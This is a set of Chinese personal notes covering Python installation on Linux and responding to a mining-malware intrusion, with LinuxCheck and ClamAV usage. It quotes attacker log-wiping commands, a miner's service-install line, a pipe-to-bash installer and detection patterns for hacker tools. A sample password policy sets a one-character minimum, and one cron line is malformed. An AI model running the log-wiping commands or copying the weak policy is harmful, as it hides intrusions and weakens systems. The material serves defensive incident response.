nix安装的程序,目前的维护状况,程序都比较新(2022.3.9),不用编译安装,直接走命令即可。 * pyenv灵活地安装与切换python版本,搭配poetry可快速生成相应版本环境。 * pipx升级依赖工具包方便,不用担心全局兼容问题。 * 编译的程序通常会依赖各种包,这个要看开发者给出相应提示安装哪些包了。 ***优解:(pyenv+pipx+poetry) x [Thanks-Mirror](https://github.com/eryajf/Thanks-Mirror)*** ## 查阅python简单安装相关信息汇总 [Linux上面碰到鬼畜逆天级的软件依赖关系大家都是怎么解决的? - 三级狗的回答 - 知乎](https://www.zhihu.com/question/291606128/answer/1194596591) 讲到了一些关键的要因,这也是他个人经验上的总结: 1. 提示即将安装某软件,但是现在的系统内的版本高于现在的版本,相当于系统不建议我们再搞了;如果非要硬上,很可能会破坏现有的程序依赖结构。 2. 接第一点话题来说,影响小,软件崩溃,或影响其他软件的正常使用;影响大,用户界面、资源管理、甚至系统加载都会出问题。 3. dpkg、rpm两者都可以各自安装,只要安装的相关软件没对系统做特别要求,都能装。某个软件版本在一个管理包低了,就换个管理包装(互补)。 知乎链接的答主这么能折腾的人,都没写面板的方式安装。更大可能是当时(2020.5)的宝塔这类的web面板还不支持这项功能。同时也注意到了除虚拟容器docker之外的包管理器“nix”,从[ssine-Nix 入门介绍](https://ssine.ink/posts/intro-to-nix/)可以看出,使用nix的目的,不用去关心各种依赖,省心安装与卸载软件,能更好的管理软件环境。不由得感慨微软的兼容方面做得确实相当好。 安装方式查看资料: | [51cto(译文)-Nix:纯粹功能型的Linux软件包管理器](https://www.51cto.com/article/587341.html) | [清华大学开源软件镜像站-Nix 镜像使用帮助](https://mirror.tuna.tsinghua.edu.cn/help/nix/) | | ------------------------------------------------------------ | ------------------------------------------------------------ | 测试`nix-shell -p python311`安装与验证版本后,发现也这nix包管理器实际上也是管理包环境沙箱,类同于Mac下的PD虚拟机那种逻辑。还有比docker好的一点就是,名称和进程不会像docker管理的有些乱。 ## 编译安装体验 Linux终端的软件生态特性,照着他人博客来几乎一开始就必然失败的...所以先从基础的了解开始,再来慢慢编译安装、配置什么的。 ### 对make的了解 > 引用自 [webplus pro-浅析./configure、make、make install之间的关系](http://www.sudytech.com/_s80/65/c4/c3276a26052/page.psp) > > ./configure 就是设计部出了一张设计稿,根据客户需要,符合各种要求 > > make 就是前端组做好了模板 > > make install 就是实施人员将模板上传至了后台,而且做了各种模板绑定,能真正看到实际展示效果 > > make clean 清除编译产生的可执行文件及目标文件 补:这是对[cnblogs-编译安装](https://www.cnblogs.com/machangwei-8/p/15495528.html)的这些相关内容形象、生动化的说明;make veryclean的理解,可以将 定义执行规则的makefile文件删除,完完全全的“白手起家,自己造”了。 ### 官网下载编译安装(单python版本环境) [官网-在类Unix环境下使用Python](https://docs.python.org/zh-cn/3.11/using/unix.html#using-python-on-unix-platforms) 编译的话,是要指定目录`./configure --prefix=/usr/python`,而yum是不用的。 ```shell # 下载 wget https://www.python.org/ftp/python/3.11.2/Python-3.11.2.tgz # 参考:[csdn-tar命令 zcvf,xvf的使用](https://blog.csdn.net/luolianxi/article/details/112915930) # x解压、v过程、f指定文件名 tar -xf Python-3.11.2.tgz # 注意看解压名称。 # 进入目录 cd ~/Python-3.11.2 # 指定安装路径 ./configure --prefix=/usr/python # 编译安装 make && make install # 创建软链接, -f 强制。 ln -sf /usr/python/bin/python3.11 /usr/bin/python3 ``` ## python多版本环境安装及官方遗留问题的思考 ### poetry虚拟环境与Pyenv版本管理 据[csdn-virtualenv系列 (1) · 导致Python多版本依赖困境的根源](https://blog.csdn.net/bluishglc/article/details/128300113)所提到的Virtualenv来管理python的多个版本,就python而言基本上是这个形势了,Java是maven之类的多版本共存管理。虚拟环境选型,[pythonguidecn-Pipenv & 虚拟环境](https://pythonguidecn.readthedocs.io/zh/latest/dev/virtualenvs.html)、[csdn-使用 pipenv/virtualenv 安装任意版本的python虚拟环境](https://blog.csdn.net/weixin_35757704/article/details/125761674)。 看了不少文章pipenv安装python都会创建一个相关目录,那我先了解下pipenv多版本共存原理,看看是不是一种共通的规则,还是文章作者自行定义的。“首先设置一下编译要存放的目录,这里不要放到系统环境下,方便后续创建虚拟环境的管理”。[文章这样说](https://blog.csdn.net/weixin_35757704/article/details/125761674),再结合当前环境,看来是有必要了。又从[python依赖管理和构建工具Poetry的原理以及用法](https://www.yisu.com/zixun/542969.html)以及后续的相关文章,我发现基本上没看到python版本的切换的内容,大多只是生成虚拟环境。为此也是额外去了解了[poetry管理python开发环境学习小记](https://blog.csdn.net/wuzhongqiang/article/details/125861099)所提到的“Pyenv”。 从这次经历来看,python是一款相当依赖第三方工具包的脚本语言,shell倒还好。如果一个项目依赖于另一个工具包,而另一个工具包又依赖于另外的项目,那会过于套娃,体验极差。当前的虚拟环境工具更侧重于生成相关的python版本环境,虽然虚拟环境也附带有版本控制的功能,但如果要灵活地选择性的切换python版本,那还是版本控制工具更好。 感想:有时看的内容多了,还是停下来梳理下逻辑点。因为初次接触已经体系化但“小众”的东西,所翻阅到资料,根据我现在总结的经验,其实多数时候并不是依照框架体系一步步走的,而是跳跃式的知识逻辑。所以需要“停下来”建立逻辑点。 ### 从不少博客中看到的python安装依赖项分析 据[cnblogs-Linux下编译安装python3](https://www.cnblogs.com/freeweb/p/5181764.html)所说,“如果没有这些模块在后面使用会出现一些问题”,顺便附上我自己翻阅资料的补充与解读注释。 ```shell # 更新yum源,yum更新,安装yum常用工具包 # 因为部分工具是需要更新yum源及工具包依赖才能安装 yum install epel-release && yum update && yum install yum-utils # 涉及传输与压缩;devel 表示开发库 yum -y install zlib zlib-devel # 无损压缩数据相关的东西 yum -y install bzip2 bzip2-devel # 屏幕绘制以及基于文本终端的图形互动功能的动态 yum -y install ncurses ncurses-devel # 没有readline则交互式界面删除键和方向键都无法正常使用 yum -y install readline readline-devel # openssl则不支持ssl相关的功能(我的理解是影响到python支持其相关增强功能) yum -y install openssl openssl-devel # openssl编译成静态库, 包含进工程的好处是可以避免系统中其他openssl版本的影响 # 在centos 8测试下没有这个 penssl-static 文件 # 观点验证:[cnblogs-centos8安装python3.8.5](https://www.cnblogs.com/tyjs09/p/14849249.html) yum -y install openssl-static # 两个压缩工具 yum -y install xz lzma xz-devel # 给Linux存放临时数据调用信息的数据库 yum -y install sqlite sqlite-devel # [csdn-[转]GDBM学习笔记](https://blog.csdn.net/heiyeshuwu/article/details/51519388) # 从上方的文章得知,简单说就是数据持久化用的数据库系统。 yum -y install gdbm gdbm-devel # 图形用户界面库 yum -y install tk tk-devel # [cnblogs-外部函数接口 LibFFI](https://www.cnblogs.com/feng9exe/p/10396313.html) # 从上方文章得知,是一种语言调用另一种语言的库 yum -y install libffi libffi-devel # uuid也装上 yum -y install uuid uuid-devel ``` 1. 这么多需要安装的依赖,我推测更大的可能是博客作者自己的需求,而不是python本身的必装项。我想,不少这方面转载及教程的笔者,可能混了许多的个人项,甚至一些依赖的作用关系,可能他自己也不清楚,只知道这样装不会错就行了。(安装python 3.10的推论) 2. 从[nginx安装过程中为啥同时需要zlib与zlib-devel,不是有zlib就可以了吗?](https://segmentfault.com/q/1010000041534545)问题的回答,得知是Linux发行版的分包策略所致,“运行环境”与“构建环境”相区分。 3. 较早的源头可能出自此处[python-forum.io-Libraries needed for python install?](https://python-forum.io/thread-5368.html),依靠专业人士的解答得来的需要安装哪些依赖,广而告之。(安装python 3.9之后的想法) 之所以做出第三点的推测,是由于我查看pyenv生成的 /tmp/python-build.log 出现以下报错的进一步推测。 ``` 编译中断。 Python build finished successfully! The necessary bits to build these optional modules were not found: _bz2 _dbm _gdbm _hashlib _lzma _sqlite3 _ssl _tkinter _uuid nis readline ``` 最后,从1~3点推测:编译安装的开发者大概率一开始认为我们是知道需要安装哪些依赖包的(不排除只是为了缩小体积...),随着使用人越来越多,为了推到更广的人群,后续高版本,开发者补上了一些依赖包。 综合资料: * [python-forum.io-Libraries needed for python install?](https://python-forum.io/thread-5368.html) (讨论安装python需要的各种依赖) * [csdn-centos yum-utils包详解](https://blog.csdn.net/xixihahalelehehe/article/details/105625710) (yum常用工具集) * [Linux之一次性安装开发工具:yum groupinstall Development tools](https://www.cnblogs.com/zlslch/p/6033284.html) (同理于Mac的Xcode工具包) ### 安装高版本python、python版本控制及虚拟环境 tip:发现一个Linux查找包的网站:http://rpmfind.net ,以及Linux config:https://linuxconfig.org 受限于网络环境,不建议一键脚本,复制粘贴去执行就是;重在理解。 ```shell #----------------编译安装前的准备工作,yum升级与安装各种依赖 --------------- # 更新yum源,安装yum常用工具包,安装git,yum更新 yum -y install epel-release yum-utils git && yum update # 安装python需要的各类依赖项目 yum -y install zlib zlib-devel bzip2 bzip2-devel ncurses ncurses-devel \ readline readline-devel openssl openssl-devel xz lzma xz-devel sqlite sqlite-devel \ gdbm gdbm-devel tk tk-devel libffi libffi-devel uuid uuid-devel # 安装 rpmfind.net 所找的 db4 包(旧了) # yum localinstall http://rpmfind.net/linux/epel/7/x86_64/Packages/l/libdb4-devel-4.8.30-13.el7.x86_64.rpm # groupinstall development 同理于Mac下的Xcode开发者工具包 # [unixmen-Yum ‘groupinstall’ – A Quick Introduction](https://www.unixmen.com/yum-groupinstall-a-quick-introduction/) # yum groupinstall development # --------- python版本管理工具 pyenv ---------- # 由于网络原因,过程会很久 ,而且即容易失败。 curl https://pyenv.run|bash # 配置环境 echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc echo 'eval "$(pyenv init -)"' >> ~/.bashrc source ~/.bashrc # -------pipx包管理工具与poetry虚拟环境--------- # 因为通过pipx安装poetry,及其简单又不会出现其他报错 # 此外通过pipx安装的包,可照常升级,不会出现全局的兼容异常问题。 pip3 install pipx pipx install poetry pipx ensurepath # 刷新配置好的环境变量 source ~/.bashrc # rm -rf ~/.pydistutils.cfg ## -----------从pyenv中安装不同版本的python-------- ## pyenv install 3.9 pyenv global 3.9 poetry new env-python3.9 && cd env-python3.9 poetry env use $(which python3.9) ``` ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-03-09%2015.05.09.png) 翻阅资料:[zhihu专栏-pipx - 为 Python 应用构建独立的安装与运行环境](https://zhuanlan.zhihu.com/p/330676831)、[csdn-安装poetry](https://blog.csdn.net/not_so_bad/article/details/127705403)、[Linux中国​-Pipx:在隔离环境中安装和运行 Python 应用](https://zhuanlan.zhihu.com/p/73675447)。 ================================================ FILE: AQUICK/CLINUX/LINUXZERO-0.md ================================================ # Linux中病毒后的排查 ## 前言 日常备份及恢复快照是最简单省心的操作。没有有这方面措施的话,只能靠着经验,以及思考可能性(编程逻辑、受众面相),并参考相关病毒处理的资料(附带病毒源码的解读最好;有精力的朋友,也可再查查知网有什么研究资料),来一步步梳理与排查了。中挖矿病毒什么的,排查这如下两大项,基本上也差不多了。后续可根据自己情况,装杀软、找云服务专员综合处理,看自己需求了。 1. 排查异常任务程序、服务模块,以及网络传输端口。 2. 检查账户配置,如:密码、密钥与通行证存档、用户及用户组 ps:限制IP范围的策略,其实挺有必要的。自身所处IP网段,由于运营商的不同,以及地区的不同,通常公司与家里公网IP差异是很大的。虽然公网IP是临时的,但一个在小范围的内,通常变动不大。因为常常变动的话,一是要有足够的IP资源,二是运营商不断调配IP,也会极大增加维护人工时间与物力成本。更何况现在的家庭网络路由器都是公网IP一个IP共享给多个主机、移动终端上网,这也是少有变动。 现在有了热心人写的脚本[al0ne/LinuxCheck](https://github.com/al0ne/LinuxCheck)、思科开源的杀软[clamav杀毒](https://github.com/Cisco-Talos/clamav),相对来说比之前省心力了不少。不想看这些繁琐排查记录的朋友,对前言的Linux自检脚本与思科杀软clamav有个大概了解就好,然后直接跳到[快速使用自检脚本与杀软](/LINUXZERO-0.md#L130)与[检查账户相关的后门](/LINUXZERO-0.md#L71)部分。 ## 排查异常任务及程序 ### 查看命令记录与操作日志记录 查看 `cat /root/.bash_history` ,一般情况黑客都会进行`echo > .bash_history`...基本上也看不到什么记录。不过使用"journal"是可以的,个人推测日志是系统守护进程,而且自己试验过,即使使用日志完全清除命令 `rm /var/log/journal/* -rf;systemctl restart systemd-journald`,也依然会在系统留有一些相关的命令记录痕迹。 `journalctl -u sshd.service` 查看ssh服务日志,看下日常ssh被尝试登录的记录。 然后`id username`看下用户uid,`journalctl _UID=0 -n 50`查看50行root用户行为操作记录。目前的当务之急是处理掉异常程序和账户密钥后门,之后的什么的慢慢排查,如果是[维护运营团队组织的分析,处理事件的优先级那另说](https://www.bilibili.com/read/cv17795783)。 参考:[csdn-journalctl -xe命令(系统日志查询)的使用](https://blog.csdn.net/enthan809882/article/details/104551777/)、[cnblogs-linux下的系统服务管理及日志管理](https://www.cnblogs.com/yuzhaokai0523/p/4453094.html) ### 排查当前存在异常进程 **使用`top`打开任务管理器,`kill -9 进程名`。** 参考:[pomit-Linux中的kill与kill -9](http://www.pomit.cn/tr/5063499771865601)。简单说,"-9"这参数就是不给程序收尾的时间,立马强行中止;这样的话,程序无法完成其下一步将要进行的计划。也可以`man`加单个指令,查看使用详情。 **使用`crontab -l`查看所有的定时任务。** 参考:[csdn-阿里云ECS遭挖矿程序攻击解决方法(彻底清除挖矿程序,顺便下载了挖矿程序的脚本)](https://blog.csdn.net/NicolasLearner/article/details/119006769)、[csdn-crontab -r删除后恢复](https://blog.csdn.net/only_cyk/article/details/123550872)。 **将`/var/spool/cron/用户名文件`的备份,覆盖掉感染病毒的主机定时任务文件。** 没有备份文件的话,就只能`cat /var/spool/cron/用户名文件`,再逐个通过`crontab -e`编辑去删除可疑任务了。 (注:定时任务并不会回显在终端,但可用注入文本`*/1 * * * * echo "hello world" >> hello.txt` 来调试,及查看日志`cat /var/log/cron`看结果。) ### 异常流量程序及传输端口 `netstat -u -nat`再看看端口网络协议连接状态,结合`lsof -i 4` 对ipv4连接情况进行分析 ,再使用`kill -9`杀掉相关进程。 ps:也可安装网卡流量监测程序并启动,查看异常的传输流量。`yum install -y iftop && iftop -i eth0 -nNP`,为防止蠕虫病毒通过局域网内部传输的可能性,先临时关闭FTP(21)、SMB(139、445)。 参考:[csdn-Linux定位流量异常指南](https://blog.csdn.net/q2365921/article/details/125006136)、[csdn-Linux 命令 | 常用命令 lsof 详解 + 实例](https://blog.csdn.net/nyist_zxp/article/details/115340302) ## 排查可疑文件、服务模块、自启程序 **48小时内被修改的文件 `find ./ -ctime -2`,并找出相关记录中的可疑文件。** **`ll /etc/systemd/system/` 查看可疑最近新增的服务模块;`chattr -i`+文件名,使得文件可以rm掉。** **`cat /etc/rc.local`,查看可疑的自启程序、服务、脚本等** 梳理Linux启动流程,图转自:[Linux启动管理 - /etc/rc.d/rc.local配置文件用法](http://c.biancheng.net/view/1023.html) ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/2-1Q022.jpg) 个人觉得`rpm -Va`验包的作用不是很大,我在重装过的腾讯云主机上试用了下,也会扫描出遗漏、改动什么的,而且耗时挺久的。`echo $PATH`看环境变量,倒是有点用,类似于排查软链接后门,在`.bash_profile`及`/etc/profile`临时看下情况就好了。 参考: * [csdn-linux中查看新增的文件](https://blog.csdn.net/qq_17576885/article/details/121995103) * [Linux *.service文件详解](https://blog.csdn.net/weixin_44352521/article/details/126679172) * [腾讯云-Linux之init.d、rc.d文件夹说明](https://cloud.tencent.com/developer/article/1533529) * [csdn-rpm -Va 详解](https://blog.csdn.net/genglei1022/article/details/81352635) * [csdn-计算机常用端口号大全](https://blog.csdn.net/weixin_42828010/article/details/127500199)。 * [百度经验-如何修改Linux操作系统的环境变量?](https://jingyan.baidu.com/article/afd8f4de8b5fe275e286e9e5.html) * [cnblogs-Linux启动过程详解](https://www.cnblogs.com/notepi/archive/2013/06/15/3137093.html) * [csdn-Linux系统启动流程(超详细)](https://blog.csdn.net/shuju1_/article/details/126201364) * [Linux启动管理 - /etc/rc.d/rc.local配置文件用法](http://c.biancheng.net/view/1023.html) * [cnblogs-linux 启动过程](https://www.cnblogs.com/rebrobot/p/16873847.html) 以及挖矿病毒源码 `sudo mv /tmp/c3pool_miner.service /etc/systemd/system/c3pool_miner.service` 启发,让我注意挖矿病毒在服务模块上,都还给我塞自启后门。 ## 快速使用自检脚本与杀软 自检脚本:[al0ne/LinuxCheck](https://github.com/al0ne/LinuxCheck);Linux杀软:[Cisco-Talos/clamAV](https://github.com/Cisco-Talos/clamav)。 ### 自检脚本快速使用 安装脚本使用前提项“ the_silver_searcher”、“git”。 ``` yum -y install the_silver_searcher && yum -y install git ``` git下载自检脚本,赋予读写执行权限并执行。 ``` git clone https://github.com/al0ne/LinuxCheck.git &&\ cd LinuxCheck && chmod u+x LinuxCheck.sh &&\ ./LinuxCheck.sh ``` ### ClamAV简明使用 安装ClamAV杀毒与更新病毒库 ``` yum install clamav && freshclam ``` 扫描;-r:迭代目录;-l:指定路径;--max-dir-recursion:指定目录层级。 ``` clamscan -r /etc --max-dir-recursion=5 -l /var/log/clamav-scan.log ``` 扫描根目录,记录到日志,并删除可疑文件。 ``` clamscan -r / -l /var/log/clamscan.log --remove ``` 设置定时,每晚3点执行杀毒(非必要,仅记录) ``` 0 3 * * * * clamscan -r / -l /var/log/clamscan.log --remove ``` 参考: * [Linux命令之查看执行过的历史命令history](https://blog.csdn.net/cnds123321/article/details/124903516) * [bilibili专栏-应急响应专题(Linux应急响应)](https://www.bilibili.com/read/cv17867865/) * [csdn-云服务器Linux挖矿病毒杀毒软件clamscan安装](https://blog.csdn.net/m0_59069586/article/details/126956289) * [51cto-Linux下杀毒软件(ClamAV)安装及使用](https://blog.51cto.com/u_9691128/4293334) * [betheme.net-centos7.6 yum安装clamav 进行病毒扫描查杀](https://betheme.net/news/txtlist_i98729v.html) * [cnblogs-Linux中定时任务](https://www.cnblogs.com/rxysg/p/15671784.html) * [csdn-Linux 定时任务详解](https://blog.csdn.net/yang_z_1/article/details/118072966) * [csdn-BASH脚本基础:环境变量PROMPT_COMMAND介绍](https://blog.csdn.net/liumiaocn/article/details/104113262) * [cnblogs-Linux Shell 中 > 和 >> 的异同点和应用场景](https://www.cnblogs.com/miracle-luna/p/11809725.html) ## 检查账户相关的后门 若是黑客使用了 `echo > /var/log/wtmp && echo > /var/log/btmp` ,那么用这去`lastlog | head -n 15` 看可疑用户登录记录,就没辙了。详情看我在【病毒分析区】[记阿里云主机再一次被黑客恶意脚本攻击](https://www.52pojie.cn/thread-1743103-1-1.html)对病毒源码的解读。 ### 检查可疑账户 `getent passwd {1000..60000}`,查看除root外的所有用户。`id`+“用户名” 可查看用户所属组,并查看存在特权组的可疑用户 `cat /etc/group|grep wheel`。 删除用户`userdel -r 用户名`;将用户加入到组 `usermod -G wheel user01`。 `echo "SU_WHEEL_ONLY yes" >> /etc/login.defs` 仅限wheel组用户可以sudo特权提升。`vi /etc/pam.d/su` 并检查sudo权限的配置文件,去掉如下指令注释,防止其他用户提权。 ``` # auth required pam_wheel.so use_uid ``` ### ssh密钥后门 从根目录搜索".ssh"文件夹,看看是否存在可疑的authorized_keys。 可疑点: * `diff`比对备份的authorized_keys,发现有差异。 * 可疑家目录的用户及其他文件夹,有多余的authorized_key。 ``` cd / && find -name .ssh ``` ### 密码策略后门 既然已经被入侵,现在应该注意改密码了,以及查看密码策略`vi /etc/pam.d/system-auth` ``` # 失败3次封锁300秒 auth required pam_faillock.so preauth silent audit deny=3 unlock_time=300 even_deny_root # 密码验证三次,忽略大小写特殊字符,最小长度1位密码 password requisite pam_pwquality.so try_first_pass local_users_only retry=3 password requisite pam_pwquality.so authtok_type= lcredit=0 ucredit=0 dcredit=0 ocredit=0 minlen=1 ``` `chage -l root`检查账户是否存在变更与过期,以及`vi /etc/login.defs` ``` PASS_MIN_DAYS 0 # 两次修改密码的最小间隔时间,0表示可以随时修改账号密码 PASS_MIN_LEN 8 # 密码最小长度,对于root无效。 PASS_WARN_AGE 7 # 密码过期前多少天开始提示。 PASS_MAX_DAYS 99999 # 99999表示永不过期。 ``` * [潇湘隐者-Linux账户密码过期安全策略设置](https://www.cnblogs.com/kerrycode/p/5600525.html) * [myfreax-Linux getent 命令列出所有用户](https://www.myfreax.com/linux-getent-command-to-list-all-users/amp/) * [csdn-Linux学习笔记之CentOS7的 wheel组](https://blog.csdn.net/kfepiza/article/details/124701762) * [csdn-wheel用户组 普用户禁止su 到root 用户设置 Linux](https://blog.csdn.net/MrFDd/article/details/118492246) * [cnblogs-linux中添加一个用户到指定用户组的两种方式,修改一个用户到指定用户组的一种方式](https://www.cnblogs.com/alonely/p/9425327.html) * [51cto-kdevtmpfsi挖矿病毒清除](https://blog.51cto.com/liuyj/5205391) * [【实用】防暴力破解服务器ssh登入次数](https://cloud.tencent.com/developer/article/2142596) * [为什么 Linux 内核不适合国家防御](https://blog.yurunsoft.com/a/68.html) * [Linux系统安全隐患及加强安全管理的方法](https://www.cnblogs.com/myphoebe/archive/2011/08/09/2131982.html) ## 后续调整 [clamav杀毒](https://github.com/Cisco-Talos/clamav)、linux安全隐患检查脚本[al0ne/LinuxCheck](https://github.com/al0ne/LinuxCheck)留着备用的同时,我打算做如下六步策略。 1. 使用fail2ban。 2. 关闭root账户,将自己账户加入wheel组。 3. 密码非Linux初始规律的简单变形密码,如:P@ssw0rd。 4. 将来自己在云存有数据资料什么,备份快照就十分有必要了。 5. 云主机绑定公司与家之间的IP范围(可选) 6. 只限ssh密钥登录(可选) ================================================ FILE: AQUICK/CLINUX/LINUXZERO-1.md ================================================ # 自检与杀毒类民工科研究 了解个大概怎么回事就行了,至少不要想黑盒测试一样。顺便还看了几篇还不错的排查文章: * [温州市公安局网络安全保卫支队-我的云服务器被植入挖矿木马,CPU飙升200%](https://baijiahao.baidu.com/s?id=1717502061981148613&wfr=spider&for=pc) * [先知社区-linux常见backdoor及排查技术](https://xz.aliyun.com/t/10079) * [上海音乐学院-下周计算机病毒预报 (2022年10月17日至2022年10月23日)](https://netc.shcmusic.edu.cn/2022/1017/c1811a45093/pagem.htm) * [华工物院研究生-【我为群众办实事】反“挖矿”复习范围全汇总!“全校统考卷”干货都在这里](https://mp.weixin.qq.com/s?__biz=MzUzOTQ4MTg0Nw==&mid=2247490046&idx=1&sn=ee95986fd473816f5945b4a335b724d1) ## LinuxCheck自检脚本功能陈列 自检脚本功能陈列(非源码、仓库说明顺序,仅个人写作方便),以及个人对该脚本处理执行意义推测(括号内): ### 检查内容分解 上 * 部分类型的挖矿木马检测、常规挖矿进程检测 * Python3 pip 检测(推测是脚本自身用到的依赖项检测,以及python也挺普遍的,二者都有吧) * JSP、PHP webshell查杀 (常规,杀软河马查杀也有效果) * Redis弱密码检测 (数据库缓存服务暴露在公网上,服务没设置密码,攻破后导致数据随意访问) * SSH检查:SSH key显示罗列(比对用的)、SSH inetd(特权提升)、软连接后门、SSH暴破IP统计 * Rootkit检查: * lsmod可疑模块罗列(认为可疑的逻辑:控制系统内存,以及类似增强型功能的支持扩展,可能造成系统不稳定。) * Rootkit 内核模块(病毒样本的模块吧) * `/usr/src/ofa_kernel/default/compat/mlx_compat.ko` 通过`modinfo mlx_compat`的回显来看,大概是兼容、移植用的;百度再往下搜就会找到“学术”、“专利”相关的文章,这倒让我挺惊奇意外的。 参考: * [csdn-linux权限提升——inetd服务后门](https://blog.csdn.net/qq_50854790/article/details/123014484) * [cnblogs-losbyday-SSH详解](https://www.cnblogs.com/losbyday/p/5859880.html) * [cnblogs-lsmod命令详解](https://www.cnblogs.com/machangwei-8/p/10398706.html) * [linuxstack-linux命令 - lsmod, 显示已载入系统的模块](https://www.oomspot.com/post/linuxminglinglsmodxianshiyizairuxitongdemokuai) * [csdn-【linux】内核模块管理:lsmod、insmod、rmmod、modinfo、modprobe、depmod命令](https://blog.csdn.net/bandaoyu/article/details/128582615) * [刘大湿-[Linux] modinfo命令:显示kernel模块的信息](https://www.liuzhongwei.com/page/2194.html) * [csdn-Redis?它主要用来什么的](https://blog.csdn.net/u014723137/article/details/125658176) * [csdn-Redis系列漏洞总结](https://blog.csdn.net/weixin_52118430/article/details/127441743) * [csdn-Redis漏洞汇总](https://blog.csdn.net/Jietewang/article/details/119540542) * [浅析Linux系统入侵排查与应急响应技术](https://zhuanlan.zhihu.com/p/450512117) ### 检查内容分解 中 * Bash配置检查: * History (**`history -a` 从缓存中取出历史记录。**) * `/etc/rc.local` (**是`/etc/rc.d/rc.local`的软连接,查看自启服务的;**默认没有执行权限,需手动修改。) * `/etc/profile` (**全局的环境变量配置文件**,这里修改会对所有用户起作用。) * `$HOME/.profile` (**对当前用户的家目录的有用,修改后,`source`更新**) * `~/.bash_profile` (**它只能登入的时候执行一次。**) * `~/.bashrc` (**同`~/.bash_profile`,最大区别:shell script每次都会执行。**) * bash反弹shell(**简单粗糙的理解就是,我执行的shell,传到你机器上执行。**) * 环境变量检查: * PATH * LD_PRELOAD(**抓关键句快速了解:它允许你定义在程序运行前优先加载的动态链接库,另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。**) * LD_ELF_PRELOAD、LD_AOUT_PRELOAD (**ELF,简单理解,参与程序的调度连接与执行。(涉及汇编知识)**) * PROMPT_COMMAND (`export PROMPT_COMMAND="echo Hello" `查看异常的命令导入) * ld.so.preload (**通过配置`/etc/ld.so.preload`,可以自定义程序运行前优先加载的动态链接库**) * 服务信息检查与任务检查:(**主要问题点是隐藏后门,植入一般用户不了解的模块、运行编辑器附加命令、系统回显截断机制。**) * 正在运行的Service * 最近添加的Service * Crontab * Crontab Backdoor 参考: * [知乎专栏-Linux 简要后门入门](https://zhuanlan.zhihu.com/p/486774390) * [先知社区-linux常见backdoor及排查技术](https://xz.aliyun.com/t/10079) * [csdn-Linux history -w 与 history -a 功能区别](https://blog.csdn.net/weixin_44629980/article/details/124467009) * [简书 - /etc/profile - 环境变量](https://www.jianshu.com/p/1dd22f5b521a) * [csdn - linux的/etc/rc.local文件(开机自启)](https://blog.csdn.net/ws_kfxd/article/details/110088503) * [云海天教程网-bashrc与profile的区别](https://www.yht7.com/news/9382) * [cnblogs-反弹bash shell命令详解](https://www.cnblogs.com/pandana/p/16289320.html) * [tinylab-一起看看那些经典的 LD_PRELOAD 用法](https://tinylab.org/using-ld_preload/) * [奇安信攻防社区-深入分析 LD_PRELOAD](https://forum.butian.net/share/1493) * [csdn -linux库的制作--静态库、动态库(共享库)](https://blog.csdn.net/qq_54075859/article/details/126611696) * [简书-ELF文件运行时动态链接](https://www.jianshu.com/p/16e97c8e629f) * [cnblogs-LD_PRELOAD的偷梁换柱之能](https://www.cnblogs.com/net66/p/5609026.html) * [先知社区-蓝队基础:安全运维防护浅析](https://xz.aliyun.com/t/10197) * [csdn-BASH脚本基础:环境变量PROMPT_COMMAND介绍](https://blog.csdn.net/liumiaocn/article/details/104113262) * [温州市公安局网络安全保卫支队-我的云服务器被植入挖矿木马,CPU飙升200%](https://baijiahao.baidu.com/s?id=1717502061981148613&wfr=spider&for=pc) ### 检查内容分解 下 * 文件检查: * 系统文件修改时间 * 7天内改动文件、大于200M文件 * 可疑黑客文件(`.*wget、.*curl、.*openssl、.*mysql`,可以理解为黑客植入程序脚本的伪装) * 敏感文件 (识别机制:Nikto、ettercap文件名等黑客工具,以及miner挖矿之类文件等) * 隐藏文件与临时目录/tmp * alias (检查建立过的别名) * SUID:/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache (简单理解为有suid授权的用户,等同于持有文件权限的尚方宝剑) * lsof +L1 (寻找本地断开的打开文件,网上文章不少表示“显示所有打开的链接数小于1的文件”,真是看不明白...) * 基础配置检查: * 系统配置信息、登陆用户、hosts * CPU使用率/CPU TOP15/内存占用 TOP15、内存占用/硬盘剩余空间 * 硬盘挂载、常用软件 * 网络/流量检查 * ifconfig、网卡混杂模式(网络抓包工具就是网卡的混杂模式)、TCP连接类别 * 对外开放端口、端口监听(百度百科-端口监听:我们都知道远程访问一台机器的共享目录实际是访问139端口,那么只要对本机139的监听就可以察觉对远程的访问请求。) * 网络连接、网络流量、路由表、路由转发(即路由中继) * DNS、ARP、IPTABLES * 用户信息检查:可登陆用户、登录信息、密码文件修改日期、sudoers(特权提升文件) 参考: * [码农家园-linux命令 lsof](https://www.codenong.com/cs105817189/) * [linuxcn-Linux 命令神器:lsof 入门](https://linux.cn/article-4099-1.html) * [Prayer-lsof,linux和unix下的一个诊断分析工具](http://www.cppblog.com/prayer/archive/2009/04/01/78596.html) * [csdn-Linux 权限管理_文件特殊权限SetUID、SetGID和Sticky BIT 学习总结(四)](https://blog.csdn.net/Superman_Gao/article/details/124536449) * [cnblogs-最详细Linux提权总结(建议收藏)](https://www.cnblogs.com/sfsec/p/15163907.html) * [csdn-中间人攻击——ettercap的使用](https://blog.csdn.net/m0_57069925/article/details/125198711) * [csdn-Kali-登录暴力破解器工具-medusa使用](https://blog.csdn.net/weixin_44257023/article/details/126976129) * [简书-【network】开启网卡的混杂模式](https://www.jianshu.com/p/42d88c0c47db) ## 附:clamav 杀毒 更新病毒库,MD5校验及特征码识别。从文档上,我个人的理解上是没有启发式识别的。 参考: * [clamav官网-faq-scan-alerts](https://docs.clamav.net/faq/faq-scan-alerts.html) * [华南理工大学-Linux服务器安装杀毒软件ClamAV 并配置邮件告警操作指南](https://web.scut.edu.cn/2022/0321/c32211a464688/page.htm) * [河马 webshell扫描器 for windows 使用手册](https://www.shellpub.com/doc/hm_win_usage.html) * [病毒吧官方账号-杀毒软件是怎么工作的?病毒吧来告诉你 ](https://www.bilibili.com/video/BV1zs4y1t7Lv) * [zabbx-clamav开源杀毒软件部署和使用](https://www.zabbx.cn/archives/clamav开源杀毒软件部署和使用) * [安全内参-五大网络空间攻击威胁及应对策略](https://www.secrss.com/articles/25492) * 